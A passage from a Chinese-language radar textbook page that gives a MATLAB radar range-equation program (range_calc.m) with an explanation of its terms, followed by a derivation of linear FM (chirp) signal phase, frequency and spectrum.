0)</span></div></div><div><div><div>6</div></div><div><span><span>   </span></span><span>pav = pcw;</span></div></div><div><div><div>7</div></div><div><span>else</span></div></div><div><div><div>8</div></div><div><span><span>   </span></span><span>% Compute the duty cycle</span></div></div><div><div><div>9</div></div><div><span><span>   </span></span><span>dt = tau * 0.001 * fr;</span></div></div><div><div><div>10</div></div><div><span><span>   </span></span><span>pav = pt * dt;</span></div></div><div><div><div>11</div></div><div><span>end</span></div></div><div><div><div>12</div></div><div><span>pav_db = 10.0 * log10(pav);</span></div></div><div><div><div>13</div></div><div><span><span>   </span></span><span>lambda_sqdb = 10.0 * log10(lambda^2);</span></div></div><div><div><div>14</div></div><div><span><span>   </span></span><span>sigmadb = 10.0 * log10(sigma);</span></div></div><div><div><div>15</div></div><div><span><span>   </span></span><span>for_pi_cub = 10.0 * log10((4.0 * pi)^3);</span></div></div><div><div><div>16</div></div><div><span><span>   </span></span><span>k_db = 10.0 * log10(1.38e-23);</span></div></div><div><div><div>17</div></div><div><span><span>   </span></span><span>te_db = 10.0 * log10(te);</span></div></div><div><div><div>18</div></div><div><span><span>   </span></span><span>ti_db = 10.0 * log10(time_ti);</span></div></div><div><div><div>19</div></div><div><span><span>   </span></span><span>range_db = 10.0 * log10(range * 1000.0);</span></div></div><div><div><div>20</div></div><div><span>if (out_option == 0)</span></div></div><div><div><div>21</div></div><div><span><span>   </span></span><span>%compute SNR</span></div></div><div><div><div>22</div></div><div><span><span>      </span></span><span>% Implement Eq. (3.63)</span></div></div><div><div><div>23</div></div><div><span><span>   </span></span><span>snr_out = pav_db + gt + gr + lambda_sqdb + sigmadb + ti_db - ...</span></div></div><div><div><div>24</div></div><div><span><span>      </span></span><span>for_pi_cub - k_db - te_db - nf - loss - 4.0 * range_db</span></div></div><div><div><div>25</div></div><div><span><span>   </span></span><span>index = 0;</span></div></div><div><div><div>26</div></div><div><span><span>   </span></span><span>for range_var = 10:10:1000</span></div></div><div><div><div>27</div></div><div><span><span>      </span></span><span>index = index + 1;</span></div></div><div><div><div>28</div></div><div><span><span>      </span></span><span>rangevar_db = 10.0 * log10(range_var * 1000.0);</span></div></div><div><div><div>29</div></div><div><span><span>      </span></span><span>snr(index) = pav_db + gt + gr + lambda_sqdb + sigmadb + ti_db - ...</span></div></div><div><div><div>30</div></div><div><span><span>         </span></span><span>for_pi_cub - k_db - te_db - nf - loss - 4.0 * rangevar_db;</span></div></div><div><div><div>31</div></div><div><span><span>   </span></span><span>end</span></div></div><div><div><div>32</div></div><div><span><span>   </span></span><span>var = 10:10:1000;</span></div></div><div><div><div>33</div></div><div><span><span>   </span></span><span>plot(var,snr,'k')</span></div></div><div><div><div>34</div></div><div><span><span>   </span></span><span>xlabel ('Range - Km');</span></div></div><div><div><div>35</div></div><div><span><span>   </span></span><span>ylabel ('SNR - dB');</span></div></div><div><div><div>36</div></div><div><span><span>   </span></span><span>grid</span></div></div><div><div><div>37</div></div><div><span>else</span></div></div><div><div><div>38</div></div><div><span><span>  </span></span><span>range4 = pav_db + gt + gr + lambda_sqdb + sigmadb + ti_db - ...</span></div></div><div><div><div>39</div></div><div><span><span>     </span></span><span>for_pi_cub - k_db - te_db - nf - loss - snro;</span></div></div><div><div><div>40</div></div><div><span><span>  </span></span><span>range = 10.0^(range4/40.) / 1000.0</span></div></div><div><div><div>41</div></div><div><span><span>   </span></span><span>index = 0;</span></div></div><div><div><div>42</div></div><div><span><span>  </span></span><span>for snr_var = -20:1:60</span></div></div><div><div><div>43</div></div><div><span><span>     </span></span><span>index = index + 1;</span></div></div><div><div><div>44</div></div><div><span><span>     </span></span><span>rangedb = pav_db + gt + gr + lambda_sqdb + sigmadb + ti_db - ...</span></div></div><div><div><div>45</div></div><div><span><span>        </span></span><span>for_pi_cub - k_db - te_db - nf - loss - snr_var;</span></div></div><div><div><div>46</div></div><div><span><span>     </span></span><span>range(index) = 10.0^(rangedb/40.) / 1000.0;</span></div></div><div><div><div>47</div></div><div><span><span>  </span></span><span>end</span></div></div><div><div><div>48</div></div><div><span><span>  </span></span><span>var = -20:1:60;</span></div></div><div><div><div>49</div></div><div><span><span>  </span></span><span>plot(var,range,'k')</span></div></div><div><div><div>50</div></div><div><span><span>  </span></span><span>xlabel ('Minimum SNR required for detection - dB');</span></div></div><div><div><div>51</div></div><div><span><span>  </span></span><span>ylabel ('Maximum detection range - Km');</span></div></div><div><div><div>52</div></div><div><span><span>  </span></span><span>grid</span></div></div><div><div><div>53</div></div><div><span>end</span></div></div><div><div><div>54</div></div><div><span>return</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>程序“range_calc.m”求解以下形式的雷达距离方程：</p><span><span><span>R=(PtτfrTiGtGrλ2σ(4π)3kT0FL(SNR)o)14R=(\frac{P_t\tau f_rT_iG_tG_r\lambda^2\sigma}{(4\pi)^3kT_0FL(SNR)_o})^{\frac{1}{4}}</span><span><span><span></span><span>R</span><span></span><span>=</span><span></span></span><span><span></span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>F</span><span>L</span><span>(</span><span>S</span><span>N</span><span>R</span><span><span>)</span><span><span><span><span><span><span></span><span><span>o</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>τ</span><span><span>f</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>σ</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>)</span><span><span><span><span><span><span></span><span><span><span><span></span><span><span><span><span><span><span></span><span><span><span>4</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><p>式中，<span><span>PtP_t</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为发射峰值功率，<span><span>τ\tau</span><span><span><span></span><span>τ</span></span></span></span>为脉冲宽度，<span><span>frf_r</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为PRF，<span><span>GtG_t</span><span><span><span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>和<span><span>GrG_r</span><span><span><span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>分别为发射和接收天线增益，<span><span>λ\lambda</span><span><span><span></span><span>λ</span></span></span></span>为波长，<span><span>σ\sigma</span><span><span><span></span><span>σ</span></span></span></span>为目标截面积，k为玻尔兹曼常数，<span><span>T0T_0</span><span><span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为290K，F为系统噪声系统，L为整个系统的损耗，并且<span><span>(SNR)o(SNR)_o</span><span><span><span></span><span>(</span><span>S</span><span>N</span><span>R</span><span><span>)</span><span><span><span><span><span><span></span><span><span>o</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为探测所需的最小SNR。</p><p>可以选择连续波或脉冲雷达。在连续波雷达的情况下，在代码中<span><span>PtτfrP_t\tau f_r</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>τ</span><span><span>f</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>项用平均连续波功率<span><span>PCWP_{CW}</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span><span>C</span><span>W</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>代替。另外，<span><span>TiT_i</span><span><span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>项指驻留间隔。而在脉冲雷达的情况下，<span><span>TiT_i</span><span><span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>表示在目标上的时间。图2.25的曲线用图中所示参数描绘了脉冲雷达SNR与探测距离关系的一个例子。在输入和编辑所有输入参数时，使用了一个基于MATLAB的图形用户界面（GUI）。输出包括最大探测距离与最小SNR关系的图形。</p><p><img alt="" loading="lazy" width="622" height="615" src="/_astro/image-13-676dd814d27a.CXf3v1k5_1TO1sI.webp" /></p></section></section>
<section><h1>三、线性系统与复信号表示法<a href="#三线性系统与复信号表示法"><span>#</span></a></h1><section><h2>线性调频（LFM）信号<a href="#线性调频lfm信号"><span>#</span></a></h2><p>调频或调相信号可用来实现更宽的工作带宽。线性调频（LFM）信号广泛用于大多数现代雷达系统。在此情况下，频率线性地向上（上线性调频）或向下（下线性调频）扫过脉冲宽度。图3.6显示了一个典型的线性调频波形的例子。脉冲宽度为<span><span>τ0\tau_0</span><span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>，带宽为B。</p><p><img alt="" loading="lazy" width="1383" height="892" src="/_astro/image-14-1ee04a63b008.CfUkRQxm_2jPenu.webp" /></p><p>向上线性调频瞬时相位可表示为</p><span><span><span>ϕ(t)=2π(f0t+μ2t2) −τ02≤t≤τ02\phi(t)=2\pi(f_0t+\frac{\mu}{2}t^2)\text{ }-\frac{\tau_0}{2}\le t\le\frac{\tau_0}{2}</span><span><span><span></span><span>ϕ</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>2</span><span>π</span><span>(</span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>t</span><span></span><span>+</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>μ</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>t</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>)</span><span><span> </span></span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>≤</span><span></span></span><span><span></span><span>t</span><span></span><span>≤</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>式中，<span><span>f0f_0</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为雷达中心频率，<span><span>μ=B/τ0\mu=B/\tau_0</span><span><span><span></span><span>μ</span><span></span><span>=</span><span></span></span><span><span></span><span>B</span><span>/</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>是线性调频系数。因此，瞬时频率为</p><span><span><span>f(t)=12πddtϕ(t)=f0+μt −τ02≤t≤τ02f(t)=\frac{1}{2\pi}\frac{d}{dt}\phi(t)=f_0+\mu t\text{ }-\frac{\tau_0}{2}\le t\le\frac{\tau_0}{2}</span><span><span><span></span><span>f</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span><span>π</span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span>d</span><span>t</span></span></span><span><span></span><span></span></span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>ϕ</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span>μ</span><span>t</span><span><span> </span></span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>≤</span><span></span></span><span><span></span><span>t</span><span></span><span>≤</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>类似地，向下线性调频瞬时相位和频率分别为</p><span><span><span>ϕ(t)=2π(f0t−μ2t2) −τ02≤t≤τ02\phi(t)=2\pi(f_0t-\frac{\mu}{2}t^2)\text{ }-\frac{\tau_0}{2}\le t\le\frac{\tau_0}{2}</span><span><span><span></span><span>ϕ</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>2</span><span>π</span><span>(</span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>t</span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>μ</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>t</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>)</span><span><span> </span></span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>≤</span><span></span></span><span><span></span><span>t</span><span></span><span>≤</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><span><span><span>f(t)=12πddtϕ(t)=f0−μt −τ02≤t≤τ02f(t)=\frac{1}{2\pi}\frac{d}{dt}\phi(t)=f_0-\mu t\text{ }-\frac{\tau_0}{2}\le t\le\frac{\tau_0}{2}</span><span><span><span></span><span>f</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span><span>π</span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span>d</span><span>t</span></span></span><span><span></span><span></span></span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>ϕ</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>μ</span><span>t</span><span><span> </span></span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>≤</span><span></span></span><span><span></span><span>t</span><span></span><span>≤</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>典型线性调频波形可表示为</p><span><span><span>x1(t)=Rect(tτ0)ej2π(f0t+μ2t2)x_1(t)=Rect(\frac{t}{\tau_0})e^{j2\pi(f_0t+\frac{\mu}{2}t^2)}</span><span><span><span></span><span><span>x</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>R</span><span>ec</span><span>t</span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span>2</span><span>π</span><span>(</span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>t</span><span>+</span><span><span></span><span><span><span><span><span><span></span><span><span><span>2</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>μ</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>t</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>)</span></span></span></span></span></span></span></span></span></span></span></span></span><p>式中，<span><span>Rect(t/τ0)Rect(t/\tau_0)</span><span><span><span></span><span>R</span><span>ec</span><span>t</span><span>(</span><span>t</span><span>/</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span></span>表示宽度为<span><span>τ0\tau_0</span><span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>的矩形脉冲。记住，信号<span><span>x1(t)x_1(t)</span><span><span><span></span><span><span>x</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span></span>是线性调频波形的解析信号。由此可得</p><span><span><span>x1(t)=x~(t)ej2πf0tx_1(t)=\tilde{x}(t)e^{j2\pi f_0t}</span><span><span><span></span><span><span>x</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>~</span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span>2</span><span>π</span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>t</span></span></span></span></span></span></span></span></span></span></span></span></span><span><span><span>x~(t)=Rect(tτ0ejπμt2)\tilde{x}(t)=Rect(\frac{t}{\tau_0}e^{j\pi \mu t^2})</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>~</span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>R</span><span>ec</span><span>t</span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span>π</span><span>μ</span><span><span>t</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span>)</span></span></span></span></span><p>信号<span><span>x1(t)x_1(t)</span><span><span><span></span><span><span>x</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span></span>的谱由其复包络<span><span>x~(t)\tilde{x}(t)</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>~</span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span></span>确定。方程（3.114）中的复指数项引入了一个关于中心频率<span><span>f0f_0</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>的频移。求<span><span>x~(t)\tilde{x}(t)</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>~</span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span></span>的傅立叶变换得到</p><span><span><span>X~(f)=∫−∞∞Rect(tτ0)ejπμt2e−j2πftdt=∫−τ02τ02e−j2πftdt\tilde{X}(f)=\int^\infty_{-\infty}Rect(\frac{t}{\tau_0})e^{j\pi\mu t^2}e^{-j2\pi ft}dt=\int^{\frac{\tau_0}{2}}_{-\frac{\tau_0}{2}}e^{-j2\pi ft}dt</span><span><span><span></span><span><span><span><span><span><span></span><span>X</span></span><span><span></span><span><span>~</span></span></span></span></span></span></span><span>(</span><span>f</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span><span>−</span><span>∞</span></span></span></span><span><span></span><span><span>∞</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>R</span><span>ec</span><span>t</span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span>π</span><span>μ</span><span><span>t</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>2</span><span>π</span><span>f</span><span>t</span></span></span></span></span></span></span></span></span><span>d</span><span>t</span><span></span><span>=</span><span></span></span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span><span>−</span><span><span></span><span><span><span><span><span><span></span><span><span><span>2</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>τ</span><span><span><span><span><span><span></span><span>0</span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span><span><span></span><span><span><span><span></span><span><span><span><span><span><span></span><span><span><span>2</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>τ</span><span><span><span><span><span><span></span><span>0</span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>2</span><span>π</span><span>f</span><span>t</span></span></span></span></span></span></span></span></span><span>d</span><span>t</span></span></span></span></span><p>设<span><span>μ′=πμ=πB/τ0\mu'=\pi \mu=\pi B/\tau_0</span><span><span><span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>π</span><span>μ</span><span></span><span>=</span><span></span></span><span><span></span><span>π</span><span>B</span><span>/</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>，并进行变量变换</p><span><span><span>(z=2π(μ′−πfμ′));π2μ′ dz=dt(z=\sqrt{\frac{2}{\pi}}(\sqrt{\mu'}-\frac{\pi f}{\sqrt{\mu'}}));\sqrt{\frac{\pi}{2\mu'}}\text{ }dz=dt</span><span><span><span></span><span>(</span><span>z</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>π</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span>(</span><span><span><span><span><span><span></span><span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span><span><span><span><span></span><span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>π</span><span>f</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>))</span><span>;</span><span></span><span><span><span><span><span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>2</span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>π</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span><span> </span></span><span>d</span><span>z</span><span></span><span>=</span><span></span></span><span><span></span><span>d</span><span>t</span></span></span></span></span><p>于是，方程（3.115）可写成</p><span><span><span>X~(f)=π2μ′e−j(πf)2/μ′∫−z1z2ejπz2/2dz\tilde{X}(f)=\sqrt{\frac{\pi}{2\mu'}}e^{-j(\pi f)^2/\mu'}\int^{z_2}_{-z_1}e^{j\pi z^2/2}dz</span><span><span><span></span><span><span><span><span><span><span></span><span>X</span></span><span><span></span><span><span>~</span></span></span></span></span></span></span><span>(</span><span>f</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>2</span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>π</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>(</span><span>π</span><span>f</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>/</span><span><span>μ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span><span>−</span><span><span>z</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span><span></span><span><span><span><span>z</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span>π</span><span><span>z</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>/2</span></span></span></span></span></span></span></span></span><span>d</span><span>z</span></span></span></span></span><span><span><span>X~(f)=π2μ′e−j(πf)2/μ′{∫0z2ejπz2/2dz−∫0−z1ejπz2/2dz}\tilde{X}(f)=\sqrt{\frac{\pi}{2\mu'}}e^{-j(\pi f)^2/\mu'}\{\int^{z_2}_0e^{j\pi z^2/2}dz-\int^{-z_1}_0e^{j\pi 